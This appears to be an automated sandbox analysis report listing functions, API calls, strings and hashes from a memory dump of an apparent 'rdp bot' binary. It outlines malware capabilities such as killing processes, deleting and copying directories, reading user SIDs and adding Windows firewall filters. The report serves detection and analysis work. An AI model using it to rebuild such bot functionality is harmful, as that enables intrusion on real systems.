Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNextfflushfwritestrcpy
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 4253334766-1535167640
Opcode ID: ff5049e7108b4606d8b9015f043b98a799f56cb1b49ebe0a8e8aeeddf7da304e
Instruction ID: 6d61bc024677e8557b940ad38ab4051adc0aeb85724be78f545781ddda04fe91
Opcode Fuzzy Hash: ff5049e7108b4606d8b9015f043b98a799f56cb1b49ebe0a8e8aeeddf7da304e
Instruction Fuzzy Hash: 5E611D61E8C55395FAE0B716A8113B8DA606F00354FD40273E85EAB2F0DE7CF856A363

Function 00007FF7E3CE1A19 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 103COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF7E3CE1A46
LoadResource.KERNEL32 ref: 00007FF7E3CE1A5E

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

GetLastError.KERNEL32 ref: 00007FF7E3CE1B58
GetLastError.KERNEL32 ref: 00007FF7E3CE1B8D
GetLastError.KERNEL32 ref: 00007FF7E3CE1B92

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE1B1F, 00007FF7E3CE1B4A
C:/Projects/rdp/bot/codebase/module.c, xrefs: 00007FF7E3CE1B0A, 00007FF7E3CE1B35
(hnd != NULL), xrefs: 00007FF7E3CE1B11
(out != NULL), xrefs: 00007FF7E3CE1B3C
[E] (%s) -> LoadResource failed(hnd=0x%p,gle=%lu), xrefs: 00007FF7E3CE1BA2
module_get_version, xrefs: 00007FF7E3CE1ADF, 00007FF7E3CE1B18, 00007FF7E3CE1B43, 00007FF7E3CE1B66, 00007FF7E3CE1B9B
[I] (%s) -> Done(hnd=0x%p,dwSignature=%08lx,dwStrucVersion=%08lx,dwFileVersionMS=%08lx,dwFileVersionLS=%08lx,dwProductVersionMS=%08lx,dwProductVersionLS=%08lx,dwFileFlagsMask=%08lx,dwFileFlags=%08lx,dwFileOS=%08lx,dwFileType=%08lx,dwFileSubtype=%08lx,dwFileDat, xrefs: 00007FF7E3CE1AE6
[E] (%s) -> FindResourceA failed(hnd=0x%p,gle=%lu), xrefs: 00007FF7E3CE1B6D

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorLast$Resource$FindLoadfflushfwrite
String ID: (hnd != NULL)$(out != NULL)$C:/Projects/rdp/bot/codebase/module.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindResourceA failed(hnd=0x%p,gle=%lu)$[E] (%s) -> LoadResource failed(hnd=0x%p,gle=%lu)$[I] (%s) -> Done(hnd=0x%p,dwSignature=%08lx,dwStrucVersion=%08lx,dwFileVersionMS=%08lx,dwFileVersionLS=%08lx,dwProductVersionMS=%08lx,dwProductVersionLS=%08lx,dwFileFlagsMask=%08lx,dwFileFlags=%08lx,dwFileOS=%08lx,dwFileType=%08lx,dwFileSubtype=%08lx,dwFileDat$module_get_version
API String ID: 2123903355-2019010457
Opcode ID: bebd427b92f1e5c21e62c97bedb703bb783ca4cbadeeb975c81eb13876ce5c63
Instruction ID: 8c8d60de9d54476edcc694eee1cbfd5e482d41b4c2a60a406d9e6f09d57775eb
Opcode Fuzzy Hash: bebd427b92f1e5c21e62c97bedb703bb783ca4cbadeeb975c81eb13876ce5c63
Instruction Fuzzy Hash: 7C413E756482468AE790EF29E450679BBE0FB08754F900233DA2CA37E4EB3CE450DB12

Function 00007FF7E3CEFF1F Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7E3CEFF2E
GetProcAddress.KERNEL32 ref: 00007FF7E3CEFF45
LoadLibraryW.KERNEL32 ref: 00007FF7E3CEFF53
GetProcAddress.KERNEL32 ref: 00007FF7E3CEFF63

Strings

rand_s, xrefs: 00007FF7E3CEFF3B
advapi32.dll, xrefs: 00007FF7E3CEFF4C
msvcrt.dll, xrefs: 00007FF7E3CEFF27
SystemFunction036, xrefs: 00007FF7E3CEFF59

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 85c771fb55e45746b373319f0909d9bbab80cd8ba9edf7ac40692cd287980bbc
Instruction ID: d643e16e67964fa21f44fee9c80b9305a657757f256adc93920f8afc654cafc4
Opcode Fuzzy Hash: 85c771fb55e45746b373319f0909d9bbab80cd8ba9edf7ac40692cd287980bbc
Instruction Fuzzy Hash: 73F0BD24E9AA1790ED85B712FC602B4EBE4AF48745BC50133C90D663B4EF3DE1798322

Function 00007FF7E3CE929A Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 118COMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00007FF7E3CE92B1
ntohl.WS2_32 ref: 00007FF7E3CE92B9

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

Strings

3L, xrefs: 00007FF7E3CE9486
TL, xrefs: 00007FF7E3CE92D6
[E] (%s) -> FwpmFilterAdd0(IPv4) failed(filt_idx=%d,res=%08lx), xrefs: 00007FF7E3CE9521
setup_ip4_filt, xrefs: 00007FF7E3CE9360, 00007FF7E3CE951A
[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx), xrefs: 00007FF7E3CE9367

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: fflushfwriteinet_addrntohl
String ID: 3L$TL$[E] (%s) -> FwpmFilterAdd0(IPv4) failed(filt_idx=%d,res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx)$setup_ip4_filt
API String ID: 3255839625-58178811
Opcode ID: d256b7c3bfc4f1f46297c99cf1b9fdebdcffbd4f8ce2096f4faa639793330bd3
Instruction ID: 320310c588b5db09f0f7c461fb3c39f18bd4d89c4e45e8ee039349e5e06301e1
Opcode Fuzzy Hash: d256b7c3bfc4f1f46297c99cf1b9fdebdcffbd4f8ce2096f4faa639793330bd3
Instruction Fuzzy Hash: 8D51803260CBC585E7719B25B4403EABBA5EB95780F804135D6CC8BBA9EF3CC195CB51

Function 00007FF7E3CE6FD5 Relevance: 1.5, APIs: 1, Instructions: 25timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7E3CE6FF0

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: eaf35cacb86d4e2f88e6fced642b51b1d7c27793e30891e7df17b252400794d8
Instruction ID: cfcbb3ba5b7a0e136df41fa1d0280e11c419cfaa570f2a9aadf04900064033f0
Opcode Fuzzy Hash: eaf35cacb86d4e2f88e6fced642b51b1d7c27793e30891e7df17b252400794d8
Instruction Fuzzy Hash: 64E022A272880583EF60D60AE4407BBAB91C79C394F904130E91EC3BA4DA3CD9628B40

Function 00007FF7E3CFB6A0 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 253c9fb1a9a9a6b2d406ad64c93e81b9ce91d3770f92f8c83c255d7155b27596
Instruction ID: 83022f27c5258dec9e13d66f02c86ce9599dcbc6cd02bdbfde3fdbf6332d44db
Opcode Fuzzy Hash: 253c9fb1a9a9a6b2d406ad64c93e81b9ce91d3770f92f8c83c255d7155b27596
Instruction Fuzzy Hash: A5415D97D8EAC54AF7D26D784D7E2386FD0ABA17007CD807BC344566E3AA69E8144333

Function 00007FF7E3CF05D9 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad621d27ed11d527f0a4eb9abd0c574f9942df0d3b361b300398ff936c25c339
Instruction ID: 44d23ee426d279dbe13ab575164d5b70112a49102c2eba2da26862a72092d275
Opcode Fuzzy Hash: ad621d27ed11d527f0a4eb9abd0c574f9942df0d3b361b300398ff936c25c339
Instruction Fuzzy Hash: 8EA002129CDC0AC4EA881F00E811271A96CEB06700FC42131C128620A58B3CD0108115

Function 00007FF7E3CE212F Relevance: 66.9, APIs: 13, Strings: 25, Instructions: 417processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7E3CE2163
Process32First.KERNEL32 ref: 00007FF7E3CE2197
GetLastError.KERNEL32 ref: 00007FF7E3CE2227
GetLastError.KERNEL32 ref: 00007FF7E3CE22FF
strcmp.MSVCRT ref: 00007FF7E3CE24CA
OpenProcess.KERNEL32 ref: 00007FF7E3CE24E2
TerminateProcess.KERNEL32 ref: 00007FF7E3CE24FC
GetLastError.KERNEL32 ref: 00007FF7E3CE250A
CloseHandle.KERNEL32 ref: 00007FF7E3CE2895

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE21D3
process_kill, xrefs: 00007FF7E3CE21CC, 00007FF7E3CE21FE, 00007FF7E3CE2232, 00007FF7E3CE2319, 00007FF7E3CE2515, 00007FF7E3CE25AE, 00007FF7E3CE2719, 00007FF7E3CE28AE
~, xrefs: 00007FF7E3CE238C
P, xrefs: 00007FF7E3CE2614
[E] (%s) -> Failed(name=%s,pid=%lu,err=%08x), xrefs: 00007FF7E3CE2205
, xrefs: 00007FF7E3CE253C
P, xrefs: 00007FF7E3CE22B8
(name != NULL) || (pid != 0), xrefs: 00007FF7E3CE21C5
P, xrefs: 00007FF7E3CE2439
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7E3CE21BE
[E] (%s) -> Process32First failed(gle=%lu), xrefs: 00007FF7E3CE2320
, xrefs: 00007FF7E3CE2245
~, xrefs: 00007FF7E3CE2430
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF7E3CE251C
|, xrefs: 00007FF7E3CE21B6
, xrefs: 00007FF7E3CE232C
NULL, xrefs: 00007FF7E3CE2916, 00007FF7E3CE2922
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF7E3CE2720
[E] (%s) -> OpenProcess failed(gle=%lu), xrefs: 00007FF7E3CE25B5
, xrefs: 00007FF7E3CE25D5
~, xrefs: 00007FF7E3CE260B
~, xrefs: 00007FF7E3CE22AF
P, xrefs: 00007FF7E3CE2395
[I] (%s) -> Done(name=%s,pid=%lu), xrefs: 00007FF7E3CE28B5
[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu), xrefs: 00007FF7E3CE2239

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: ErrorLast$Process$CloseCreateFirstHandleOpenProcess32SnapshotTerminateToolhelp32strcmp
String ID: $ $ $ $(name != NULL) || (pid != 0)$C:/Projects/rdp/bot/codebase/process.c$NULL$P$P$P$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu)$[E] (%s) -> Failed(name=%s,pid=%lu,err=%08x)$[E] (%s) -> OpenProcess failed(gle=%lu)$[E] (%s) -> Process32First failed(gle=%lu)$[E] (%s) -> Process32Next failed(gle=%lu)$[E] (%s) -> TerminateProcess failed(gle=%lu)$[I] (%s) -> Done(name=%s,pid=%lu)$process_kill$|$~$~$~$~
API String ID: 3326156344-4160762685
Opcode ID: ddae266145e06ba45a32dd147251454c87ade30978731ea112754126fa238577
Instruction ID: e41e3bd26dfa1e9fe1c7803aa0bcc312d4c53722c580a96036ae004f9d412b0a
Opcode Fuzzy Hash: ddae266145e06ba45a32dd147251454c87ade30978731ea112754126fa238577
Instruction Fuzzy Hash: 42F12256E8C30782FAF47656A890378DB50AF14754ED01233C61EA62F1DE7DED85B223

Function 00007FF7E3CE4D81 Relevance: 44.0, APIs: 15, Strings: 10, Instructions: 226stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7E3CE4DA6
RemoveDirectoryA.KERNEL32 ref: 00007FF7E3CE4DBE
GetLastError.KERNEL32 ref: 00007FF7E3CE4DC8

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

strcpy.MSVCRT ref: 00007FF7E3CE4E92
strlen.MSVCRT ref: 00007FF7E3CE4E9A
strlen.MSVCRT ref: 00007FF7E3CE4EB6
strlen.MSVCRT ref: 00007FF7E3CE4EC7
strcpy.MSVCRT ref: 00007FF7E3CE4EE1
strlen.MSVCRT ref: 00007FF7E3CE4EE9
strlen.MSVCRT ref: 00007FF7E3CE4F0B
strlen.MSVCRT ref: 00007FF7E3CE4F1F
strcmp.MSVCRT ref: 00007FF7E3CE4F61
strcmp.MSVCRT ref: 00007FF7E3CE4F74
RemoveDirectoryA.KERNEL32 ref: 00007FF7E3CE501D
GetLastError.KERNEL32 ref: 00007FF7E3CE502B

Strings

fs_dir_delete, xrefs: 00007FF7E3CE4DDF, 00007FF7E3CE4E0A, 00007FF7E3CE4F8D, 00007FF7E3CE5042, 00007FF7E3CE5111, 00007FF7E3CE5174
[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF7E3CE4DE6, 00007FF7E3CE5049
[D] (%s) -> Delete(path_wc=%s,f_path=%s), xrefs: 00007FF7E3CE4F94
*, xrefs: 00007FF7E3CE4ECC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE4E11
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE4DFC
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF7E3CE517B
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF7E3CE5118
(path != NULL), xrefs: 00007FF7E3CE4E03
NULL, xrefs: 00007FF7E3CE5165

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strlen$DirectoryErrorLastRemovestrcmpstrcpy$fflushfwrite
String ID: (path != NULL)$*$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Delete(path_wc=%s,f_path=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_delete
API String ID: 2460052984-4087913290
Opcode ID: f49021cfd17e5645a415218e2337d23fcbe7ef664cc3b0d8083bd933364814f5
Instruction ID: c8a3f68bd27fadacc3b542ac766d039c81c0e4bd666c64ae5c69eadf6889cbc1
Opcode Fuzzy Hash: f49021cfd17e5645a415218e2337d23fcbe7ef664cc3b0d8083bd933364814f5
Instruction Fuzzy Hash: 6FA1C52198C68285F6A0BB06E9203F9EBA1AF80745FD40133D50EA76F5DF3DE5099763

Function 00007FF7E3CE53BF Relevance: 42.3, APIs: 16, Strings: 12, Instructions: 270stringCOMMON

Download Yara Rule

APIs

strcpy.MSVCRT ref: 00007FF7E3CE541A
strlen.MSVCRT ref: 00007FF7E3CE5422
strlen.MSVCRT ref: 00007FF7E3CE5443
strlen.MSVCRT ref: 00007FF7E3CE5455
strcmp.MSVCRT ref: 00007FF7E3CE54FD
strcmp.MSVCRT ref: 00007FF7E3CE5515
strcat.MSVCRT ref: 00007FF7E3CE5575
strlen.MSVCRT ref: 00007FF7E3CE557D
strcpy.MSVCRT ref: 00007FF7E3CE5663
strlen.MSVCRT ref: 00007FF7E3CE566B
strlen.MSVCRT ref: 00007FF7E3CE568D
strcat.MSVCRT ref: 00007FF7E3CE56A6
strcpy.MSVCRT ref: 00007FF7E3CE56B9
strlen.MSVCRT ref: 00007FF7E3CE56C1
strlen.MSVCRT ref: 00007FF7E3CE56E3
strcat.MSVCRT ref: 00007FF7E3CE56FF

Strings

(dst != NULL), xrefs: 00007FF7E3CE55F8
(src != NULL), xrefs: 00007FF7E3CE55CD
fs_dir_copy, xrefs: 00007FF7E3CE55A6, 00007FF7E3CE55D4, 00007FF7E3CE55FF, 00007FF7E3CE5712, 00007FF7E3CE5869, 00007FF7E3CE58E5
[I] (%s) -> Done(src=%s,dst=%s), xrefs: 00007FF7E3CE58EC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE55DB, 00007FF7E3CE5606
[E] (%s) -> Failed(src=%s,dst=%s,err=%08x), xrefs: 00007FF7E3CE5870
[I] (%s) -> Filtered(f_src=%s,flt=%s), xrefs: 00007FF7E3CE55AD
[D] (%s) -> Copy(f_src=%s,f_dst=%s), xrefs: 00007FF7E3CE5719
|, xrefs: 00007FF7E3CE5582
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7E3CE55C6, 00007FF7E3CE55F1
*, xrefs: 00007FF7E3CE545A
NULL, xrefs: 00007FF7E3CE58CD, 00007FF7E3CE58D6

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7e3ce0000_lr75sq5smrngkif9fpn.jbxd

Similarity

API ID: strlen$strcatstrcpy$strcmp
String ID: (dst != NULL)$(src != NULL)$*$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Copy(f_src=%s,f_dst=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(src=%s,dst=%s,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s)$[I] (%s) -> Filtered(f_src=%s,flt=%s)$fs_dir_copy$|
API String ID: 2140730755-3699962909
Opcode ID: 53b4bd48d3555066442ddf4302ded71f9d2e6007b6eed7bc00e144543ebe8498
Instruction ID: a26a8a93c41bae9876591207930fc4958c86e9d6378888076e63c41c64326109
Opcode Fuzzy Hash: 53b4bd48d3555066442ddf4302ded71f9d2e6007b6eed7bc00e144543ebe8498
Instruction Fuzzy Hash: 18C1F76298C68681F6B0B702E5503F9EBA1AF44784FC40133DA4EA66E5DF7CE509D723

Function 00007FF7E3CE1D60 Relevance: 35.2, APIs: 12, Strings: 8, Instructions: 207memoryCOMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32 ref: 00007FF7E3CE1D8A
GetTokenInformation.ADVAPI32 ref: 00007FF7E3CE1DC0
GetLastError.KERNEL32 ref: 00007FF7E3CE1DCE
LocalFree.KERNEL32 ref: 00007FF7E3CE1E08
CloseHandle.KERNEL32 ref: 00007FF7E3CE1E13
GetLastError.KERNEL32 ref: 00007FF7E3CE1EB8
LocalAlloc.KERNEL32 ref: 00007FF7E3CE1F70
GetTokenInformation.ADVAPI32 ref: 00007FF7E3CE1F9E
GetLastError.KERNEL32 ref: 00007FF7E3CE1FAC

Part of subcall function 00007FF7E3CE14E2: fwrite.MSVCRT ref: 00007FF7E3CE158E
Part of subcall function 00007FF7E3CE14E2: fflush.MSVCRT ref: 00007FF7E3CE159A

LocalAlloc.KERNEL32 ref: 00007FF7E3CE209A
GetLengthSid.ADVAPI32 ref: 00007FF7E3CE20AC
memcpy.MSVCRT ref: 00007FF7E3CE20BC

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7E3CE1E40, 00007FF7E3CE1E70
[E] (%s) -> Failed(hnd=0x%p,err=%08x), xrefs: 00007FF7E3CE1EA1
(hnd != NULL), xrefs: 00007FF7E3CE1E32
[E] (%s) -> GetTokenInformation failed(hnd=0x%p,gle=%lu), xrefs: 00007FF7E3CE1DEA, 00007FF7E3CE1FC1
process_get_user_sid, xrefs: 00007FF7E3CE1DE3, 00007FF7E3CE1E39, 00007FF7E3CE1E69, 00007FF7E3CE1E9A, 00007FF7E3CE1EC6, 00007FF7E3CE1FBA
(sid != NULL), xrefs: 00007FF7E3CE1E62
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7E3CE1E2B, 00007FF7E3CE1E5B
[E] (%s) -> OpenProcessToken failed(hnd=0x%p,gle=%lu), xrefs: 00007FF7E3CE1ECD

Memory Dump Source

Source File: 0000000D.00000002.1312813044.00007FF7E3CE1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E3CE0000, based on PE: true

Associated: 0000000D.00000002.1312780911.00007FF7E3CE0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312849037.00007FF7E3CF1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312877285.00007FF7E3CF2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1312951351.00007FF7E3CFA000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313048174.00007FF7E3CFC000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1313100904.00007FF7E3CFF000.00000002.00000001.01000000.00000005.sdmpDownload File

